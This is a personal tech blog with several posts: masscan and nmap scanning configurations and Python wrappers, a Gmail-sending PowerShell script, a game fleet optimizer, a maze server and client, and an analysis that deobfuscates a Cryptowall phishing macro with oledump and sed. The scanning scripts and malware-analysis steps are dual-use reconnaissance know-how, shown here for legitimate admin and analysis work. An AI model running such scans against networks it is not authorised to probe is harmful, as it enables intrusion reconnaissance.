Sunday, November 1, 2015

Using masscan with a configuration file

Recently I was doing some scanning with a tool that is available on github called masscan.  The tool allows you to configure a configuration file and use it by executing 'masscan -c my.conf'.  Below is an example of the configuration file that I was utilizing:

# My Scan
rate =  0.01
output-format = xml
output-filename = scan.xml
ports = 22,23,25,80,443
range = 192.168.5.1-192.168.5.50
retries = 0
http-user-agent = Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.89 Safari/537.36
ping = false
banners = true

The above configuration file allows for when it scans to also pull the banners for a web server.  When it does it will pass the above user agent.

Tuesday, October 20, 2015

Powershell - Send Email through GMail SMTP Server

I came across an instance where I had to send an email through Powershell.  This is the powershell script that I came up with and tested.

function sendMyEmail ($fromAddress, $toAddress, $subject, $body, $password)
{
    # The sendEmail function is setup to use a GMail STMP Server with a valid account    
    $SMTPServer = "smtp.gmail.com"
    $SMTPClient = New-Object System.Net.Mail.SmtpClient
    $SMTPClient.Host = 'smtp.gmail.com'
    $SMTPClient.Port = 587
    $SMTPClient.EnableSsl = $true
    $SMTPClient.Credentials = New-Object System.Net.NetworkCredential($fromAddress, $password);
    $SMTPClient.Send($fromAddress, $toAddress, $subject, $body)
}

function gatherInfo {

}

#Main 
$smtpInfo = New-Object PSObject -Property @{
    fromAddress = $null
    toAddress = $null
    subject = $null
    body = $null
    password = $null
}
$smtpInfo.fromAddress = "myemail@gmail.com"
$smtpInfo.toAddress = "mystuff@scriptkitty.work"
$smtpInfo.subject = "Awesome Email"
$smtpInfo.body = "Email is Awesome"
$smtpInfo.password = "xxxxxxxxxxxxx"
gatherInfo
sendMyEmail -fromAddress $smtpInfo.fromAddress -toAddress $smtpInfo.toAddress -subject $smtpInfo.subject -body $smtpInfo.body -password $smtpInfo.password

nmap - Storing nmap Scan Information 1 File at a Time

The other day I was faced with a challenge where I needed to store each nmap scan as its own file. I created this quick python script to assist with doing this.


#!/usr/bin/python

import sys
import os
import re

scanFile = 'scan.list'

def selectScan(nList, dList, sIP, eIP):
 file = open('scan.list', 'r')
 for line in file:
  if '#' not in line:
   theList = line.split(',')
   nList.append(theList[0])
   dList.append(theList[1])
   sIP.append(theList[2])
   eIP.append(theList[3].strip()) 
 file.close()
 print
 print "Select which scan you would like to perform:"
 print
 for i in range(0, len(nList)):
  print str(i+1) + ". Scan: " + nList[i] + ", Save to Directory: " + dList[i] + ", Start IP: " + sIP[i] + ", End IP: " + eIP[i]
 print
 scanSelect = raw_input('Select: ') 
 try:
  scanSelect = int(scanSelect)
  scanSelect = scanSelect - 1
 except:
  scanSelect = 9999
 return scanSelect

def ipRangeScan(nList, dList, sIP, eIP):
 dList = dList.strip(' ')
 sIP = sIP.strip(' ')
 eIP = eIP.strip(' ')
 # nmap -sP 172.16.2.1-31 -oN test/test.subnet
 print
 print "Checking to see if the directory exists that we are saving the results to..."
 if not os.path.exists(dList):
  os.mkdir(dList)
 # This only works if the scan encompasses a /24 to a /31 subnet range...  Any subnet larger that a /24 will not work 
 ipScanRange = sIP + '-' + eIP.split('.')[3]
 saveFile = dList + "/" + dList + ".range"
 print "Executing 'nmap -sP " + ipScanRange + " -oN " + saveFile
 execCommand = "nmap -sP " + ipScanRange + " -oN " + saveFile
 c = os.system(execCommand)

def individualIPScan(nList, dList, sIP, eIP):
 dList = dList.strip(' ')
 sIP = sIP.strip(' ')
 eIP = eIP.strip(' ')
 ipList = []
 # nmap -sS -sV -O 172.16.2.1 -oN test/172_16_2_1.nmap
 print
 print "Checking to see if the directory exists that we are saving the results to..."
 if not os.path.exists(dList):
  os.mkdir(dList)
 saveFile = dList + "/" + dList + ".range"
 f = open(saveFile, 'r')
 pattern = re.compile('^.*for\s[0-9]+(?:\.[0-9]+){3}(?:.*$|$)')
 for line in f:
  if pattern.match(line.strip()):
   ip = re.findall(r'[0-9]+(?:\.[0-9]+){3}', line)
   ipList = ipList + ip
 f.close() 
 ipStartRange = int(sIP.split('.')[3])
 ipEndRange = int(eIP.split('.')[3]) + 1     # If you do not add 1 it does not catch the last IP in the range
 for j in range(ipStartRange, ipEndRange):
  currentIP = sIP.split('.')[0] + "." + sIP.split('.')[1] + "." + sIP.split('.')[2] + "." + str(j)
  # Only scan the IP Addresses that were found through the previous scan...
  if currentIP in ipList:
   saveFile = dList + "/" + currentIP.replace('.','_') + ".nmap"
   print "Executing 'nmap -sS -sV -O " + currentIP + " -oN " + saveFile + "'"
   execCommand = "nmap -sS -sV -O " + currentIP + " -oN " + saveFile
   c = os.system(execCommand)
 

def main():
 while True:
  selection = 0
  nameList = []
  dirList = []
  startIP = []
  endIP = []
  selection = selectScan(nameList, dirList, startIP, endIP)
  if ((selection < 9999) and (selection <= (len(nameList)-1))):
   print "You selected to perform the following scan: " + nameList[selection]
   continueScan = raw_input('Run the above selected scan? (y/n): ')
   if (continueScan == 'y' or continueScan == 'Y'):
    ipRangeScan(nameList[selection], dirList[selection], startIP[selection], endIP[selection])
    individualIPScan(nameList[selection], dirList[selection], startIP[selection], endIP[selection])
   else:
    print "Error: The scan was aborted"
    print
  else:
   print "Error: The selection of the scan was incorrect"
   print


if __name__ == "__main__":
    main()



It parses a file like the following to cycle through a variety of scans that you can stage.  To comment out a line in the scan.list file just place a # in the front of the line.  I have not tested this but I believe you can not have spaces in the save to directory.




#Name of Scan, Save to Directory, Start IP Address, End IP Address
Test1, test1, 172.16.2.1, 172.16.2.31
Test2, test2, 172.16.2.32, 172.16.2.63



Thursday, September 17, 2015

Parsing Multiple nmap Scan Output Files into a csv File

Today I was faced with a challenge where I had to parse multiple nmap scans that were saved in a directory.  The format was saved in the regular .nmap output.  The following python script came alive that parses the files and outputs the IP Address, MAC Address and each port that was found into output to the screen that could then be saved as a csv file.

This script depends on the output that is located in the .nmap output and the version of nmap.



#!/usr/bin/python

nmapOutputDirectory="scans"

import os
import re

for file in os.listdir(nmapOutputDirectory):
 portStatusPattern = re.compile("^[0-9]{1,5}\/(tcp|udp)\s*(open|closed)\s*[0-9a-zA-Z- ]{3,}$")
 macAddrPattern = re.compile(".*([0-9A-Fa-f]{1,2}[:-]){5}[0-9A-Fa-f]{2}.*")
 portInfoList = []
 ipAddress = ''
 macAddr = ''
 fileLocation = nmapOutputDirectory + "/" + file
 f = open(fileLocation, 'r')
 for line in f:
  currentLine = line.strip()
  if "Nmap scan report for" in currentLine:
   ipAddress = currentLine[21:]
  elif portStatusPattern.match(currentLine):
   portInfoList.append(currentLine)
  elif macAddrPattern.match(currentLine):
   macAddr = currentLine[13:30]
 if len(portInfoList) > 0:
  for item in portInfoList:
   print '"' + ipAddress + '","' + macAddr + '","' + item + '"'
 else:
  print '"' + ipAddress + '","' + macAddr + '",""'



b


Saturday, September 5, 2015

Python - Vega Conflict Script to Maximize Fleet Sizes based on Fleet Mass

On the side I have been playing a game created by Kixeye called Vega Conflict.  Their description of the game is below:


Stake your claim, command your fleets, and wage epic war in space. Band together with other players in a bloody rebellion to take back the galaxy from the evil VEGA Federation.  CUSTOMIZE YOUR WAR: Different targets call for different strategy, outfit your fleet for victory.  REAL-TIME PvP: Real war doesn’t wait its turn - attack enemies at will in real-time.  BATTLE ANYWHERE: Conflict never ends. Continue your progress on phone, tablet, or in browser.

In the game you progress based on leveling the buildings on your planet.  Currently in the game I have a level 7 Fleet Bay which allows you to have a maximum of 7 Fleets.  Each Fleet can only have a total mass of 10,100.  This presents a difficulty in taking all of the ships that you have built and creating 7 Fleets with as close as you can get the maximum mass for each fleet.  
A note on strategy:  The best strategy is not to maximize the mass of the fleet.  The best strategy depends on knowing your enemy.
Now back to the math of trying to figure this out, here are the ships placed into python lists based on their mass:

broadswordDestroyer = [1339, 1339, 1219]
exodusCruiser = [1966, 1735, 1772, 1772, 1772, 1712, 1620, 1287]
rancorBattleship = [2075, 1815, 1815, 1516, 1479, 1257, 2064, 2059, 2101, 2121, 2121, 2121, 2121, 2121, 2121, 2121, 2121, 2121, 2121, 2121, 2121, 2101, 2101, 2101, 2121, 2111, 1689, 1762, 1762, 1739, 1739, 1731, 1683, 1257, 1257, 1257]
genesisCruiser = [740, 743, 680, 680]


The challenges and what I learned from this problem:

So I have a total of 51 ships accounted for in the above lists.  Then I combined the list.  I found that instead of sorting the list by smallest to largest or largest to smallest I received the best results if I randomized the list using random.shuffle.

In creating 1 fleet, I would send the calculations through 6 for loops, one loop for each ship in the fleet.  However each for loop had to be looking at a unique ship in the list so an if statement was created to work around this issue of the variables counting the loop could not be accessing the same item in the list of ships.

Then if the the fleets mass amounted to over 10,000 then break out of the for loops.  I could not figure out how to break out of the 6 for loops without breaking out of the 7th which is used to generate all 7 fleets.  So I introduced an if statement so if the fleet mass amounted to over 10,000 it would not execute the for loops after that threshold was hit.

After the above challenges I found that sometimes a fleet would try and include a duplicate ship that did not exist because the for loop would complete without reaching maximum mass of 10,000 or above and pass the last value of the for loop into the fleet.

Also one or more of the 7 fleets would not be generated in the for loops so not to output these fleets but only the ones that are complete.

Then finally I added a condition so it would take the maximum combined total of the 7 fleets and then only output future combinations that are larger than the previous one output.  After all was done it somewhat works.  I would be more than happy to learn of a different way to code this or a better way mathematically to do it.

I am in no way using this code to tamper with another player, the game, app or gameplay.  This code is run independent of anything that Kixeye uses for the game, interaction with another player, created apps or gameplay.  I am only using the code as a great mathematical challenge and solving it using python.  I am also using it as part of my strategy to determine the best combinations of fleets to use in the game.  Though output is received from the code I have to manually enter in the output to the browser or the app that I am using.  Below is the code that I am using it is also located here on google docs.




#!/usr/bin/python

import random

# Original Values
#broadswordDestroyer = [1339, 1339, 1219]
#exodusCruiser = [1966, 1735, 1772, 1772, 1772, 1712, 1620, 1287]
#rancorBattleship = [2075, 1815, 1815, 1516, 1479, 1257, 2064, 2059, 2101, 2121, 2121, 2121, 2121, 2121, 2121, 2121, 2121, 2121, 2121, 2121, 2121, 2101, 2101, 2101, 2121, 2111, 1689, 1762, 1762, 1739, 1739, 1731, 1683, 1257, 1257, 1257]
#genesisCruiser = [740, 743, 680, 680, 680]

broadswordDestroyer = [1339, 1339, 1219]
exodusCruiser = [1966, 1735, 1772, 1772, 1772, 1712, 1620, 1287]
rancorBattleship = [2075, 1815, 1815, 1516, 1479, 1257, 2064, 2059, 2101, 2121, 2121, 2121, 2121, 2121, 2121, 2121, 2121, 2121, 2121, 2121, 2121, 2101, 2101, 2101, 2121, 2111, 1689, 1762, 1762, 1739, 1739, 1731, 1683, 1257, 1257, 1257]
genesisCruiser = [740, 743, 680, 680]

overallTotal = 0
while True:
 listNumb = broadswordDestroyer + exodusCruiser + rancorBattleship + genesisCruiser
 #listNumb.sort(reverse=True)   # Sorts the list by largest integer first
 #listNumb.sort()  # Sorts the list by smallest integer first
 random.shuffle(listNumb) # Makes the order of the list random
 outputFleets = ''
 printCounter = 0
 grandTotal = 0
 for i in range(1, 8):
  doneLooping = 'False'
  total = 0
  currentTotal = 0
  currentFleet = []
  for a in range(0, len(listNumb)):
   if doneLooping == 'False':
    for b in range(0, len(listNumb)):
     if doneLooping == 'False':
      for c in range(0, len(listNumb)):
       if doneLooping == 'False':
        for d in range(0, len(listNumb)):
         if doneLooping == 'False':
          for e in range(0, len(listNumb)):
           if doneLooping == 'False':
            for f in range(0, len(listNumb)):
             if a <> b and a <> c and a <> d and a <> e and a <> f and b <> c and b <> d and b <> e and b <> f and c <> d and c <> e and c <> f and d <> e and d <> f:
              currentTotal = listNumb[a] + listNumb[b] + listNumb[c] + listNumb[d] + listNumb[e] + listNumb[f]
              if ((currentTotal <= 10100) and (total <= 10100) and (total < currentTotal)):
               currentFleet = []
               currentFleet.append(listNumb[a]) 
               currentFleet.append(listNumb[b]) 
               currentFleet.append(listNumb[c]) 
               currentFleet.append(listNumb[d]) 
               currentFleet.append(listNumb[e]) 
               currentFleet.append(listNumb[f]) 
               #print currentFleet
               #print currentTotal, listNumb[a], listNumb[b], listNumb[c], listNumb[d], listNumb[e], listNumb[f]
               total = currentTotal
              elif total > 10000:
               doneLooping = 'True'
  if (len(currentFleet) == 6): 
   listNumb.remove(currentFleet[0])
   if currentFleet[1] in listNumb:
    listNumb.remove(currentFleet[1])
    if currentFleet[2] in listNumb:
     listNumb.remove(currentFleet[2])
     if currentFleet[3] in listNumb:
      listNumb.remove(currentFleet[3])
      if currentFleet[4] in listNumb:
       listNumb.remove(currentFleet[4])
       if currentFleet[5] in listNumb:
        listNumb.remove(currentFleet[5])
        outputFleets = outputFleets + "Fleet " + str(i) + ": " + str(currentFleet[0]) + " " + str(currentFleet[1]) + " " + str(currentFleet[2]) + " " + str(currentFleet[3]) + " " + str(currentFleet[4]) + " " + str(currentFleet[5]) + " Total: " + str(total) + "\n"
        printCounter = printCounter + 1
        grandTotal = grandTotal + total
 if grandTotal > overallTotal:
  if printCounter == 7: 
   print "Total: " + str(grandTotal)
   print outputFleets
   print
   overallTotal = grandTotal




I thought I would provide the results of the script below so you could see the output that you will receive if you run it:

Total Combined Fleet Size: 70604  (Really close to the max combined of 70,700)
Fleet 1: 2121 1966 1257 1762 1731 1257 Total: 10094
Fleet 2: 1620 2121 1339 1219 2075 1712 Total: 10086
Fleet 3: 1479 1772 1772 1772 1739 1516 Total: 10050
Fleet 4: 2121 1815 1689 2111 1683 680 Total: 10099
Fleet 5: 740 1339 2059 1739 2101 2121 Total: 10099
Fleet 6: 2101 1815 2121 1257 2121 680 Total: 10095
Fleet 7: 743 2064 1297 2121 2121 1735 Total: 10081


Sunday, August 30, 2015

Python - Built a Maze Creator and a Server to Allow Clients to Connect and Navigate the Maze

Over 2 years ago I participated in a CTF where in one of the challenges you were presented with an IP Address and a port to connect to.  Upon connecting to the port you were presented with some navigational information with 3-5 seconds to make a decision of where to go inside of a maze.

I was impressed by the challenge and decided a couple of days ago I would build it in python.  First I started out with the code to be able to build, save, load, and modify mazes.  The create.py file contains the ability to initialize a maze if you have not.

From a non-privileged account run ./create.py.  You will then be presented with a greeting, then if you would like to load a maze from a file you are prompted to do so.  Then you are prompted for the number of columns and rows you would like.  This then draws the map using a '#' as a character symbolizing a wall that can not be passed through.

Then you can proceed by creating the maze through typing in 'n', 's', 'w', or 'e'.  Notice that with every maze you start on the last row in the middle.  Everything is based on an x,y coordinate system as shown in the code.  In creating the maze anywhere it touches the outside border the server will issue a win, so remember to leave a barrier of '#' between the maze and the outer rim of the maze you are creating.  The code for create.py is below:



#!/usr/bin/python

# Maze Structure
#
#  x ---------------------->
#  y  (0,0)   (1,0)  (2,0)
#  |
#  |  (0,1)   (1,1)  (2,1)
#  |
#  |  (0,2)   (1,2)  (2,2)
# \_/

import sys

def intro():
 print "Welcome to the Maze Creator"
 print
 print "This will assist you in creating a maze that is the size in columns and rows"
 print "specified.  Then you can create the navigation through the maze as you start"
 print "on the bottom row in the middle."
 print
 print "The starting spot of the maze will always be in the bottom middle.  Wherever"
 print "a '.' touches the edge it will be an exit point."
 print

def promptSize(val):
 print
 print "Input the number of " + val + " you would like your maze to have."
 output = raw_input("~: ")
 print
 return output

def createMaze(m, x, y):
 # x is columns, y is rows
 for i in range (0, y):
  for j in range (0, x):
   dictKey = str(i) + '-' + str(j)
   m[dictKey] = '#'



def loadMaze(m, x, y, f):
 try:
  prevMaze = open(f, 'r') 
 except:
  print "Failed to open the file specified. Goodbye!"
  sys.exit()
 lineCount = 0   # Number of rows or y
 charCount = 0   # Number of columns or x
 for line in prevMaze:
  if lineCount == 0:
   x = int(line.strip())
  elif lineCount == 1:
   y = int(line.strip())
  else:
   charCount = 0
   for i in line.strip(): 
    dictKey = str((lineCount-2)) + '-' + str(charCount)
    m[dictKey] = i
    charCount = charCount + 1
  lineCount = lineCount + 1
 return m, x, y 



def outputMaze(m, x, y, posX, posY, t):
 # x is columns, y is rows
 if t == 'final':
  print
  saveFile = raw_input("Save the maze as file (default: final.txt): ")
  try:
   file = open(saveFile, 'w')
  except:
   file = open('final.txt', 'w')
   saveFile = 'final.txt'
  print "Saving the below maze as " + saveFile
  print
  file.write(str(x) + '\n')
  file.write(str(y) + '\n')
 row = ''
 for i in range (0, y):
  for j in range (0, x):
   dictKey = str(i) + '-' + str(j)
   if ((posX == j) and (posY == i)):
    if t == 'redraw': row = row + '$'
    elif t == 'final': row = row + '.'
    m[dictKey] = '.' 
   else:
    row = row + m[dictKey]
  if t == 'redraw':
   print row
  if t == 'final':
   file.write(row + '\n')
  row = ''
 if t == 'final':
  file.close()



def findDirections(m, x, y, posX, posY):
 dirN = False  # Can I go North?
 dirS = False  # Can I go South?
 dirE = False  # Can I go East?
 dirW = False  # Can I go West?
 dirTravel = ''  # Return the directions that can be traveled.
 if (posY <> 0):  # Determine if you can navigate North
  dirN = True
  dirTravel = dirTravel + 'n '
 if (posY <> (y - 1)): # Determine if you can navigate South
  dirS = True
  dirTravel = dirTravel + 's '
 if (posX <> (x - 1)): # Determine if you can navigate East
  dirE = True
  dirTravel = dirTravel + 'e '
 if (posX <> 0):  # Determine if you can navigate West 
  dirW = True
  dirTravel = dirTravel + 'w '
 return dirTravel


  
def findPath(m, x, y, posX, posY):
 dirN = False  # Can I go North?
 dirS = False  # Can I go South?
 dirE = False  # Can I go East?
 dirW = False  # Can I go West?
 dirTravel = ''  # Return the directions that can be traveled.
 if (posY <> 0):  # Determine if you can navigate North
  dictKey = str(posY-1) + '-' + str(posX)
  if m[dictKey] == '.':
   dirN = True
   dirTravel = dirTravel + 'n '
 if (posY <> (y - 1)):  # Determine if you can navigate South
  dictKey = str(posY+1) + '-' + str(posX)
  if m[dictKey] == '.':
   dirN = True
   dirTravel = dirTravel + 's '
 if (posX <> 0):  # Determine if you can navigate East
  dictKey = str(posY) + '-' + str(posX+1)
  if m[dictKey] == '.':
   dirN = True
   dirTravel = dirTravel + 'e '
 if (posX <> (x - 1)):  # Determine if you can navigate West
  dictKey = str(posY) + '-' + str(posX-1)
  if m[dictKey] == '.':
   dirN = True
   dirTravel = dirTravel + 'w '
 return dirTravel



def main():
 maze = {}
 sizeX = 0 #Size of the Maze X - Number of columns
 sizeY = 0 #Size of the Maze Y - Number of rows
 posX = 0 #Position of '$' on the Maze X based on x,y coordinates
 poxY = 0 #Position of '$' on the Maze Y based on x,y coordinates
 option = '' #Option Selected for Movement or to Quit
 directions='' #The directions in which can be navigated
 listDir = [] #Create a list of the directions possible
 loadOption = ''   #Option to load a previously created maze or create a new one
 mazeFile = ''   #Filename of what the maze is called

 intro()
 loadOption = raw_input("Would you like to load a previously created maze from file (y, n)? ")
 if loadOption == 'y':
  mazeFile = raw_input("Enter the filename of the maze to load: ")
  maze, sizeX, sizeY = loadMaze(maze, sizeX, sizeY, mazeFile)
 else:
  sizeX = promptSize('columns')
  sizeX = int(sizeX)
  sizeY = promptSize('rows')
  sizeY = int(sizeY)
  createMaze(maze, sizeX, sizeY)
 posX = int(sizeX) / 2
 posY = int(sizeY) - 1 # The range goes from 0 to the number before the sizeY given so you need to subtract 1
 while (option <> "q"):
  print
  outputMaze(maze, sizeX, sizeY, posX, posY, 'redraw')
  directions = findDirections(maze, sizeX, sizeY, posX, posY)
  print
  print "You can travel in the following directions: " + directions
  option = raw_input("Select direction to navigate or 'q' to quit: ")
  listDir = directions.split()
  if option in listDir:
   if option == 'n': posY = posY - 1
   elif option == 's': posY = posY + 1
   elif option == 'e': posX = posX + 1
   elif option == 'w': posX = posX - 1
  elif option <> 'q':
   print 'Invalid direction!'
 print
 outputMaze(maze, sizeX, sizeY, posX, posY, 'final')
 print


if __name__ == "__main__":
    main()



Then the server portion of the challenge, I had the following objectives.
1.  I wanted multiple clients to be able to connect to it.
2.  It needed to be able to load a maze and then be able to return to the client the directions of where it could go next

Below is the server code that I utilized.  I was able to reuse some of the functions that are in the create.py file so you will notice that I import from that file.  If you save the file for the create portion of the maze as something else, you will need to update the import file entry at the beginning and as it is referenced throughout the code.  I also start the listener on TCP port 30,000 which can be modified.

Also as far as a client connecting to it, I initially used netcat.  At the end of this I have provided a python client that can be utilized.  The ideal goal would be to create a python client to navigate through the maze and then automate it.  Also in the challenge there was a timeout of 3-5 seconds between making decisions of the direction to go in the maze.  I have left that out of the code but can easily be put in.



#!/usr/bin/python

import socket
import sys
import thread  
import create    # Import the functions from the create.py file

mazeFilename='final.txt'  # Change this for the server to load a different maze file.



def handleClient(c, addr):
 maze = {}
        sizeX = 0       #Size of the Maze X - Number of columns
        sizeY = 0       #Size of the Maze Y - Number of rows
        posX = 0        #Position of '$' on the Maze X based on x,y coordinates
        poxY = 0        #Position of '$' on the Maze Y based on x,y coordinates
        startX = 0        #Position of '$' on the Maze X based on x,y coordinates
        startY = 0        #Position of '$' on the Maze Y based on x,y coordinates
        directions=''   #The directions in which can be navigated
 listDir = []    #Create a list of the directions possible

 print "Accepted connection from: " + str(addr)
 msg = "Welcome to the maze.  Navigate through the maze based on the directions returned.\r\n"
 msg += "You will only have 10 seconds between moves to make a decision.\r\n\r\n"
 msg += "The size of the maze selected is below:\r\n"
 maze, sizeX, sizeY = create.loadMaze(maze, sizeX, sizeY, mazeFilename) 
 msg += str(sizeX) + ',' + str(sizeY) + "\r\n\r\n"
 c.send(msg)
 posX = int(sizeX) / 2
        posY = (sizeY - 1)      # The range goes from 0 to the number before the sizeY given so you need to subtract 1
 startX = int(sizeX) / 2
        startY = (sizeY - 1)      # The range goes from 0 to the number before the sizeY given so you need to subtract 1
 while 1:
  create.outputMaze(maze, sizeX, sizeY, posX, posY, 'network')  # redraw or network
  directions = create.findPath(maze, sizeX, sizeY, posX, posY)
  directionInfo = "You can travel in the following directions: " + directions + "\r\n"
  c.send(directionInfo)
  listDir = directions.split()
  option = c.recv(1024)
  #print listDir
  option = option.strip()
                if option in listDir:
                        if option == "n": posY = posY - 1
                        elif option == 's': posY = posY + 1
                        elif option == 'e': posX = posX + 1
                        elif option == 'w': posX = posX - 1
  else:
   c.send("Invalid direction received.\r\n")
   break
  # Check to see if the player figured a way out of the maze
  #print "startX,Y: " + str(startX) + "," + str(startY)
  #print "posX,Y: " + str(posX) + "," + str(posY)
  if not ((startX == posX) & (startY == posY)):
   if ((posX == 0) | (posY == 0) | (posX == (sizeX - 1)) | (posY == (sizeY - 1))): 
    c.send("You Win!\r\n")
    break
 c.close()


def main():
 host = ''
 port = 30001
 try:
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 except:
  print "Failed to create socket."
  sys.exit()
 print 'Listening for connections on port ' + str(port)
 s.bind((host, port))
 s.listen(5)  # Allows up to 5 connections at a time
 while 1:
  (client, address) = s.accept()
  thread.start_new_thread(handleClient, (client, address))
 s.close() 
 



if __name__ == "__main__":
    main()




I have included both of these files and a few mazes that I have created to test the code on my google drive located here.  An example of a maze that can be downloaded with the preceding link and use is below.

15
15
##.############
##........#####
##.######.#####
##.######.#####
##.######.#####
##.####.......#
##.####.#.#####
##.####.#....##
##.####.####.##
##.####.####.##
##.##...####.##
##.##.#.####.##
##......####.##
#######......##
#######.#######

The first line of the maze is the size in columns, the next is the size in rows, on the 3rd line the 3rd dot in is the exit to the maze.  It does not have to be on the top line, it could also be on the size of the maze.  Then the beginning of the maze is on the last line in the middle.

Below is the quick client that I designed to navigate through the maze, however it is not an automated method to navigate through the maze.



#!/usr/bin/python

import socket

host = '127.0.0.1'
port = 30001

def createMaze(m, x, y):
        # x is columns, y is rows
 x = int(x)
 y = int(y)
        for i in range (0, y):
                for j in range (0, x):
                        dictKey = str(i) + '-' + str(j)
                        m[dictKey] = ' '

def createWall(m, px, py, dir):
 if (dir == 'n'): py = py - 1
 elif (dir == 's'): py = py + 1
 elif (dir == 'w'): px = px - 1
 elif (dir == 'e'): px = px + 1
 dictKey = str(py) + '-' + str(px)
 #print m
 #print dictKey
 m[dictKey] = '#'
 return m

def outputMaze(m, x, y, posX, posY):
        # x is columns, y is rows
 x = int(x)
 y = int(y)
        row = ''
        for i in range (0, y):
                for j in range (0, x):
                        dictKey = str(i) + '-' + str(j)
                        if ((posX == j) and (posY == i)):
                                row = row + '$'
                                m[dictKey] = '.'
                        else:
                                row = row + m[dictKey]
                print row
                row = ''



def main():
 recvInfo = ''
 maze = {}
 sizeX = 0
 sizeY = 0
 newSizeX = 0
 newSizeY = 0
 coord = []
 posX = 0
 poxY = 0
 option = ''
 directions = ''
 listDir = []
        
 while 1:
  try:
   s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  except:
   print "Failed to create socket."
   sys.exit()
  s.connect((host, port))
  recvInfo = s.recv(1024)
  print recvInfo
  size = recvInfo[191:]
  coord = size.split(',')
  #print str(coord[0]) + ' ' + str(coord[1])
  newSizeX = coord[0]
  newSizeY = coord[1]
  if not ((newSizeX == sizeX) & (newSizeY == sizeY)):
   createMaze(maze, newSizeX, newSizeY)
   sizeX = newSizeX
   sizeY = newSizeY
  posX = int(sizeX) / 2
         posY = int(sizeY) - 1     
  option = ''
  while 1:
   recvInfo = s.recv(1024)
   if not recvInfo:
    break
   else:
    if recvInfo[:7] == 'Invalid':
     break
    else:
     directions = recvInfo[44:]
     listDir = directions.split()
     if option == 'n': posY = posY - 1
     elif option == 's': posY = posY + 1
     elif option == 'e': posX = posX + 1
     elif option == 'w': posX = posX - 1
     if not ('n' in listDir): 
      maze = createWall(maze, posX, posY, 'n')
     if not ('s' in listDir): 
      maze = createWall(maze, posX, posY, 's')
     if not ('e' in listDir): 
      maze = createWall(maze, posX, posY, 'e')
     if not ('w' in listDir): 
      maze = createWall(maze, posX, posY, 'w')
     outputMaze(maze, sizeX, sizeY, posX, posY)
     print recvInfo
     option = raw_input("~: ")
     s.send(option)
  s.close() 
 



if __name__ == "__main__":
    main()





Thursday, August 13, 2015

Cryptowall 3.0 downloaded and executed from "William_Isabella_resume.doc"

Recently I was provided a phishing email with an attachment called "William_Isabella_resume.doc".  As I had done in the previous post I used "./oledump William_Isabella_resume.doc" to examine the contents for a malicious macro.  Below is the output of that command.

./oledump.py William_Isabella_resume.doc
 A: word/vbaProject.bin
 A1:       375 'PROJECT'
 A2:        41 'PROJECTwm'
 A3: M   40002 'VBA/ThisDocument'
 A4:      8271 'VBA/_VBA_PROJECT'
 A5:       514 'VBA/dir'

As you can see, item A3 contains a macro.  Then by selecting A3, I output the macro to a text file.

./oledump.py -s A3 -v William_Isabella_resume.doc > macro.txt

I immediately started looking at the macro and noticed a pattern of lines that were repeated with varying length of variables but contained a similar structure.  Two examples of the pattern are below:

Dim ACIZjEo8pvcIr As Long, I3wVba3qWHhnCuC As Long
ACIZjEo8pvcIr = 80
I3wVba3qWHhnCuC = 19
If ACIZjEo8pvcIr + I3wVba3qWHhnCuC > 4 Then
I3wVba3qWHhnCuC = ACIZjEo8pvcIr + 29
Else
MsgBox 45
End If

Dim AI9EyT0hz As Long, LDwIMi8qU8zv As Long
AI9EyT0hz = 55
LDwIMi8qU8zv = 92
If AI9EyT0hz + LDwIMi8qU8zv > 4 Then
LDwIMi8qU8zv = AI9EyT0hz + 8
Else
MsgBox 87
End If

With this pattern I wanted to created a regular expression to 1st find only the matches for the following pattern:  Dim <var> As Long <var> As Long

So I used the following grep statement to build my population: cat macro.txt | egrep "Dim.*":
**Dim Nz7m0PxKYWw As Long, HbS1melaNAS7H As Long, L7N3MtqbtznJ As Byte, HmKeQofQiXVxVGCT() As Byte, L9EY5PIy8XL As Long
Dim LvAzbXXkWUDtDQ() As Byte
Dim ACIZjEo8pvcIr As Long, I3wVba3qWHhnCuC As Long
**Dim FP3AL83PNIVhYqp As Long, Bhu6AVZ As Long, HzD7nSW As Long, IFHWQgDBF4yZ As String * 8162, JkOPSi As String, I0xSQ As Integer, YBoXWN0Xv As Double
Dim AI9EyT0hz As Long, LDwIMi8qU8zv As Long
Dim BkbpvlCIZj As Long, VS1rCLO33mU As Long
Dim ILWUKAm As Long, JRN9ZgNj6Yf As Long
Dim WqZT6KvAVkyO As Long, OHPW2b0ZGFa As Long
Dim HbUu4uL As Long, GfUsdMAvdCRNJDXy8 As Long
Dim AizpYIBM As Long, BYtWR9n2OwKs As Long
Dim Izv2Cof As Long, Ntxt3NxnUsY As Long
Dim V0fF89S As Long, HVcFPWU6 As Long
Dim K1Xi As Long, QZlNuLHUlh7Q2xe As Long
<..smip..>

So I started with the above population.  Notice that there are a couple of lines that I have preceded with a double asterisk that I need to eliminate with the regular expression. Using rubular.com I derived a regular expression that would match the Dim <var> As Long <var> As Long.


Then I used egrep to test the regular expression and display the next 7 lines after the regular expression to see if I was pulling into my population any false positives.

$ cat macro.txt | egrep '^Dim\s[A-Za-z0-9]{4,20}\sAs\sLong,\s[A-Za-z0-9]{4,20}\sAs\sLong\s$' -A 7
Dim ACIZjEo8pvcIr As Long, I3wVba3qWHhnCuC As Long
ACIZjEo8pvcIr = 80
I3wVba3qWHhnCuC = 19
If ACIZjEo8pvcIr + I3wVba3qWHhnCuC > 4 Then
I3wVba3qWHhnCuC = ACIZjEo8pvcIr + 29
Else
MsgBox 45
End If
--
Dim AI9EyT0hz As Long, LDwIMi8qU8zv As Long
AI9EyT0hz = 55
LDwIMi8qU8zv = 92
If AI9EyT0hz + LDwIMi8qU8zv > 4 Then
LDwIMi8qU8zv = AI9EyT0hz + 8
Else
MsgBox 87
End If
--

Scanning through the results no false positives were noticed.  Now the trick is using the regular expression and eliminating the 7 lines after it.  A tool called 'sed' can help us with it.  With sed you can use the regular expression but you need to escape the '{' and '}' characters.  So by running the following command in sed with the regular expression and telling it to remove the 7 lines following the regular expression I was able to remove the repeating pattern in the macro.

$ cat macro.txt | sed '/^Dim\s[A-Za-z0-9]\{4,20\}\sAs\sLong,\s[A-Za-z0-9]\{4,20\}\sAs\sLong\s$/,+7d' > modified.macro.txt

With utilizing the command above I was able to decrease the size of the macro in lines from 671 lines to 287 lines of code:

$ wc -l macro.txt 
671 macro.txt

$ wc -l modified.macro.txt 
